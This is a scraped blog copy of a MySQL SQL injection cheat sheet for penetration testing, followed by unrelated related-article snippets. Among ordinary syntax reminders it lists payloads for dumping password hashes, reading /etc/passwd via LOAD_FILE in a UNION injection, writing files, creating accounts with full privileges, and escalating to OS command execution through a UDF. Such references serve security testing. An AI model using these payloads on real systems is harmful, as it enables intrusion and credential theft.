MySQL SQL Injection Cheat Sheet
MySQL SQL Injection Cheat Sheet
Some useful syntax reminders for SQL Injection into MySQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version | 
| Comments | SELECT 1; #comment SELECT /*comment*/1;  | 
| Current User | SELECT user(); SELECT system_user();  | 
| List Users | SELECT user FROM mysql.user; — priv | 
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv | 
| Password Cracker | John the Ripper will crack MySQL password hashes. | 
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns  | 
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv  | 
| Current Database | SELECT database() | 
| List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv  | 
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’  | 
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’  | 
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’  | 
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0  | 
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c | 
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0  | 
| ASCII Value -> Char | SELECT char(65); # returns A | 
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 | 
| Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char);  | 
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC  | 
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ | 
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A | 
| Avoiding Quotes | SELECT 0×414243; # returns ABC | 
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12  | 
| Make DNS Requests | Impossible? | 
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.  | 
| Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system  | 
| Hostname, IP Address | SELECT @@hostname; | 
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv | 
| Delete Users | DROP USER test1; — priv | 
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv | 
| Location of DB files | SELECT @@datadir; | 
| Default/System Databases | information_schema (>= mysql 5.0) mysql  | 
Thanks
Jonathan Turner for @@hostname tip.
Tags: cheatsheet, database, mysql, pentest, sqlinjection
Posted in SQL Injection
MySQL SQL Injection Cheat Sheet的更多相关文章
- MySQL SQL Injection(注入)
		
如果通过网页接收用户输入,而后再把这些数据插入到数据库中,那么你可能就会碰到 SQL 注入式攻击.本节简要介绍如何防范这种攻击,确保脚本和 MySQL 语句的安全性. 注入式攻击往往发生在要求用户输入 ...
 - PHP+MYSQL网站SQL Injection攻防
		
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
 - HP+MYSQL网站SQL Injection攻防
		
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
 - mysql报错sql injection violation, syntax error: syntax error, expect RPAREN, actual IDENTIFIER
		
mysql报错sql injection violation, syntax error: syntax error, expect RPAREN, actual IDENTIFIER 处理,在控制台 ...
 - mybatis 一次执行多条SQL  MySql+Mybatis+Druid之SqlException:sql injection violation, multi-statement not allow
		
如果用JDBC jdbc.jdbcUrl=jdbc:mysql://127.0.0.1:3306/database?useUnicode=true&characterEncoding=utf8 ...
 - mysql报错:Cause: java.sql.SQLException: sql injection violation, syntax error: ERROR. pos 39, line 2, column 24, token CLOSE
		
因为close是mysql关键字 -- ::, DEBUG (BaseJdbcLogger.java:)- ==> Preparing: , -- ::, INFO (XmlBeanDefini ...
 - XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)
		
本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...
 - IOS Application Security Testing Cheat Sheet
		
IOS Application Security Testing Cheat Sheet [hide] 1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...
 - XSS Cheat Sheet(basics and advanced)
		
XSS Cheat Sheet BASICS HTML注入 当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用.如果输入在HTML注释中,则在payload前加上&quo ...
 
随机推荐
- Solution -「Gym 102979L」 Lights On The Road
			
\(\mathcal{Description}\) Link. 给定序列 \(\{w_n\}\),选择 \(i\) 位置的代价为 \(w_i\),要求每个位置要不被选择,要不左右两个位置至少被 ...
 - suse 12 双网卡bonding模式
			
文章目录 工欲善其事,必先配静态ip 网卡bonding eth0 eth1 192.168.70.52 192.168.70.55 工欲善其事,必先配静态ip 重要的事情说三遍 修改配置之前,先备份 ...
 - 麦克风阵列波束形成之DSB原理与实现
			
语音识别有近场和远场之分,且很多场景下都会用到麦克风阵列(micphone array).所谓麦克风阵列是一组位于空间不同位置的麦克风按一定的形状规则布置形成的阵列,是对空间传播声音信号进行空间采样的 ...
 - vue的事件监听
			
<div id="app"> <button type="button" @click="btnClick(a,$event)&qu ...
 - [LeetCode]LCP 06. 拿硬币
			
桌上有 n 堆力扣币,每堆的数量保存在数组 coins 中.我们每次可以选择任意一堆,拿走其中的一枚或者两枚,求拿完所有力扣币的最少次数. 示例 1: 输入:[4,2,1] 输出:4 解释:第一堆力扣 ...
 - ORACLE-创建用户和表空间
			
/*分为四步 *//*第1步:创建临时表空间 */create temporary tablespace user_temp tempfile 'D:\oracle\oradata\Oracle9i\ ...
 - kali linux中ifconfig命令不能使用的解决办法
			
1.安装net-tools,因ifconfig属于net-tools,输入命令: sudo apt-get install net-tools 记住加上sudo哦!4647c21ef50df33a ...
 - python基础之数值类型与序列类型
			
Hello大家好,我是python学习者小杨同学,已经学习python有一段时间,今天将之前学习过的内容整理一番,在这与大家分享与交流,现在开始我们的python基础知识之旅吧. 数值类型与序列类型 ...
 - Windows三种文件系统:NTFS、FAT32、FAT16的区别
			
什么是文件系统? 文件系统是操作系统用于明确磁盘或分区上的文件的方法和数据结构:即在磁盘上组织文件的方法.也指用于存储文件的磁盘或分区,或文件系统种类. 举个通俗的比喻,一块硬盘就像一个块空地,文件就 ...
 - 在不受支持的 Mac 上安装 macOS Monterey 12(OpenCore Patcher)
			
一.介绍 本文通用于 macOS Big Sur 和 macOS Monterey,也可以视作笔者 早期文章 的升级版. 这一章节将介绍 macOS Monterey 的系统要求和不受支持的 Mac ...